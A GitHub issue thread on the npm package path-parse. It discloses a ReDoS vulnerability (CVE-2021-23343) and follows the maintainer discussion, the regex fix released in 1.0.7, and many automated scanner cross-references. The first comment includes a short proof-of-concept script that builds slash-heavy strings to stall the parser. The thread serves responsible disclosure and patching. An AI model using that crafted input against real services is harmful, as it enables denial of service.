

[New issue](#)
[Jump to bottom](#)

ReDoS in path-parse #8

🔒 Closed

yetingli opened this issue on Feb 9, 2021 · 26 comments

yetingli commented on Feb 9, 2021

Hi,

I would like to report two Regular Expression Denial of Service (ReDoS) vulnerabilities in `path-parse`.

It allows cause a denial of service when parsing crafted invalid paths.

You can execute the code below to reproduce the vulnerability.

```
var pathParse = require('path-parse');
function build_attack(n) {
  var ret = ""
  for (var i = 0; i < n; i++) {
    ret += "/"
  }
  return ret + "@";
}

for(var i = 1; i <= 5000000; i++) {
  if (i % 10000 == 0) {
    var time = Date.now();
    var attack_str = build_attack(i)
    pathParse(attack_str);
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms")
  }
}
```

Feel free to contact me if you have any questions.

Best regards,

Yeting Li

👍 27

🔗 TayHobbs mentioned this issue on Apr 13, 2021

ReDoS in unmaintained path-parse dependency browserify/resolve#240

🔒 Closed

ljharb commented on May 5, 2021

CVE link: <https://nvd.nist.gov/vuln/detail/CVE-2021-23343>

🔗 naveTransmit mentioned this issue on May 10, 2021

Vulnerability in sub-dependency path-parse DataDog/dd-trace-js#1356

🔒 Closed

n8ores commented on May 11, 2021

Is there any update on patching this vulnerability? This is a core NPM package that is heavily used by many other packages and I foresee a lot of failing pipelines now that this has a CVE logged.

👍 22

n8ores commented on May 13, 2021

I have emailed @jbgutierrez to see if he would be willing to patch this, but have not yet received a response.

jbgutierrez commented on May 13, 2021

Owner

I'm willing to transfer this repo to anyone interested in its maintenance. Would you?

cameron-martin commented on May 13, 2021

If there aren't any other takers, I would be happy to maintain it, since the organisation that I work for, ForgeRock, also has interest in this package not having security vulnerabilities.

Alternatively, having multiple maintainers may be a good idea, for a higher chance of changes like this being made.

👍 12

ljharb commented on May 13, 2021 • edited

@jbgutierrez i will be happy to take it on, since `resolve` relies on it. it could also live in the browserify org if that's preferred.

4

jeffrey-pinyan-ith... commented on May 13, 2021

Contributor

I have an extensive history with regexes from my Perl days. Even though node doesn't support `(?>...)`, I can think of one quick solution, which is replacing `[\s\S]*?` with a more specific pattern.

jeffrey-pinyan-ith... commented on May 13, 2021 • edited

Contributor

#10 <https://github.com/jeffrey-pinyan-ithreat/path-parse> fixes the problem without breaking any tests.

1

jeffrey-pinyan-ith... commented on May 13, 2021 • edited

Contributor

The regexes could stand a bit more tweaking to make them a little simpler.

`(\??|)` is redundant and should just be `(\??)`, for example.

Arudakova mentioned this issue on May 14, 2021

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz Path-Check/gaen-mobile#901

Open

jeffreynerona mentioned this issue on May 17, 2021

path-parse dependency vulnerability browserify/resolve#243

Closed

victory-glitch commented on May 20, 2021

@jbgutierrez @ljharb Is there any update on fixing this vulnerability? There is already a PR open to fix this and there doesn't seem to be anyone disagreeing with the fix, so can we merge the PR and deploy v1.0.7 to get this security issue removed?

The resolve library is using this dependency, and the Angular CLI has started using resolve as a dependency since v11. Our security team does not want open vulnerabilities in our Angular codebase (regardless of its actual potential for misuse, which is the better approach to security anyways), so we are delaying on Angular v10 to avoid triggering this on our security scans.

3

ljharb commented on May 20, 2021

@hareharey as soon as I'm handed the repo/commit bit, and also the npm publish rights, I'd be happy to take care of it.

3

Skhoshhal commented on May 21, 2021

Some good news regarding to this issue ?

6

n8ores commented on May 24, 2021

Any update on supplying repo/commit and npm publish rights to @ljharb ?

4

victory-glitch commented on May 25, 2021

@n8ores It looks like @jbgutierrez just merged PR #10 to fix the redos issue and he published v1.0.7 to the npm registry so you should be good there.

@ljharb would just need to update browserify to point to the new dependency and ideally the Angular dependency issue should be fixed in the next minor version.

However, I'm not sure how to update the official snyk.io page for this vulnerability so that it shows the new fix version. Maybe @yetingli could help with that?

5

ljharb commented on May 25, 2021

resolve uses `^`, as does browserify, so no update should be needed.

dauidui225 mentioned this issue on May 25, 2021

Bump path-parse version to 1.0.7 to address CVE opensearch-project/dashboards-reporting#59

1 Merged

6 tasks

n8ores commented on May 25, 2021

Noting that the NVD still flags this as a vulnerability for all versions. I have asked them how we go about updating this CVE Entry: <https://nvd.nist.gov/vuln/detail/CVE-2021-23343>

Filename: path-parse:1.0.7 | Reference: CVE-2021-23343 | CVSS Score: 7.5 | Category: NVD-CWE-noinfo | All versions of package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity

1

mend-bolt-for-github (bot) mentioned this issue on May 27, 2021

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz AlexRogalskiy/screenshots#369

Open

mend-for-github-com (bot) mentioned this issue on May 27, 2021

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz SmartBear/git-en-boite#738

Closed

mend-bolt-for-github (bot) mentioned this issue on May 27, 2021

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz exadel-inc/etoolbox-authoring-kit#191

Closed

mend-for-github-com (bot) mentioned this issue on May 27, 2021

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz - autoclosed SmartBear/react-gherkin-editor#176

Closed

This was referenced on May 27, 2021

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz - autoclosed CatalystOne/nginx-jira-issue-collector#79

Closed

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz - autoclosed valtech-ch/microservice-kubernetes-cluster#180

Closed

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz AlexRogalskiy/weather-sprites#202

Open

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz - autoclosed monetr/web-ui#324

Closed

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz - autoclosed Lob2018/YannLobjois_6_25032021#5

Closed

801 hidden items

[Load more...](#)

This was referenced on Apr 20

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz mattdanielbrown/primed#81

Open

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz - autoclosed turkdevops/update-electron-app#101

Closed

ng-packagr-11.2.4.tgz: 11 vulnerabilities (highest severity is: 9.8) - autoclosed thor-it/thor-sso#87

Closed

CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz Satheesh575555/external_v8_AOSP10_r33#13

Open

mend-for-github-com (bot) mentioned this issue on Apr 28

grunt-if-0.2.0.tgz: 24 vulnerabilities (highest severity is: 9.8) samq-ghdemo/NodeGoat#11

Open

This was referenced on Apr 29

CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz Satheesh575555/external_v8_AOSP10_r33_CVE-2021-0396#11

Open

CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz Trinadh465/external_v8_AOSP10_r33#13

Open

CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz Trinadh465/external_v8_AOSP10_r33_CVE-2021-0393#12

Open

CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz ShaikUsaf/external_v8_AOSP10_r33_CVE-2020-0240#11

Open

CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz vincenzodistasio97/excel-to-json#103

Open

eslint-plugin-github-4.1.1.tgz: 2 vulnerabilities (highest severity is: 7.5) TakeScoop/publish-terraform-cloud-module-action#65

Open

 mend-bolt-for-github (bot) mentioned this issue on May 11

CVE-2021-23343 (High) detected in librejslibrejs-7.19 YJSoft/syntaxhighlighter#22

Open

 debricked (bot) mentioned this issue on May 14

Fix CVE-2021-23343 AnExampleCompany/Repo1#26

Closed

 mend-bolt-for-github (bot) mentioned this issue on May 25

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz MohammedAbidNafi/COVID19-Tracker-Advanced-React#36

Open

 allengayCx mentioned this issue on May 27

CVE-2021-23343 @ Npm-path-parse-1.0.5 allengayCx/nodegoat#64

Open

 mend-for-github-com (bot) mentioned this issue on Jun 2

alex-9.1.0.tgz: 5 vulnerabilities (highest severity is: 9.8) Nexmo/nexmo-developer#4215

Open

 mend-bolt-for-github (bot) mentioned this issue on Jun 3

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz vincenzodistasio97/ReactSocial#44

Open

 This was referenced on Jun 6

grunt-cli-1.3.2.tgz: 2 vulnerabilities (highest severity is: 7.5) opentok/opentok-rtc#798

Open

react-native-0.68.2.tgz: 6 vulnerabilities (highest severity is: 9.8) opentok/opentok-react-native-samples#104

Closed

 CMaheshBL mentioned this issue on May 6

CVE-2021-23343 @ Npm-path-parse-1.0.5 CMaheshBL/NodeGoat#79

Open

 This was referenced on Jun 9

eslint-plugin-import-2.22.1.tgz: 2 vulnerabilities (highest severity is: 9.8) opentok/learning-opentok-node#22

Open

vue-loader-13.6.1.tgz: 4 vulnerabilities (highest severity is: 8.1) opentok/opentok-video-call-center#26

Open

 This was referenced on Jun 10

CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz - autoclosed vincenzodistasio97/helloBooks#207



Closed

CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz vincenzodistasio97/helloBooks#208

Open



ajssd commented on Jul 26

If this problem has indeed been fixed, is it possible to update the entry here <https://nvd.nist.gov/vuln/detail/CVE-2021-23343> so that it doesn't say "All versions of package path-parse are vulnerable..." ?

  **debricked-staging** (bot) mentioned this issue on Sep 12



Fix CVE-2021-23343 InternalBenchmarkDebricked/vue-resource#17

[Open](#)

  **whitesource-app-cvent** (bot) mentioned this issue on Sep 29


CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz socialtables/cryptex#7

[Open](#)

  **debricked** (bot) mentioned this issue on Nov 14



Fix CVE-2021-23343 AnExampleCompany/Repo1#40

[Open](#)

  **dimagwhitesourceapp** (bot) mentioned this issue 2 weeks ago

CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz, path-parse-1.0.6.tgz Dima2022/JS-Demo#42

[Open](#)

  **ap154793-mend-red** (bot) mentioned this issue 3 days ago

@fmr-pr103625/fmr-apmtracer-2.0.1.tgz: 13 vulnerabilities (highest severity is: 9.8) mojombo/god#289

[Open](#)

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

16 participants

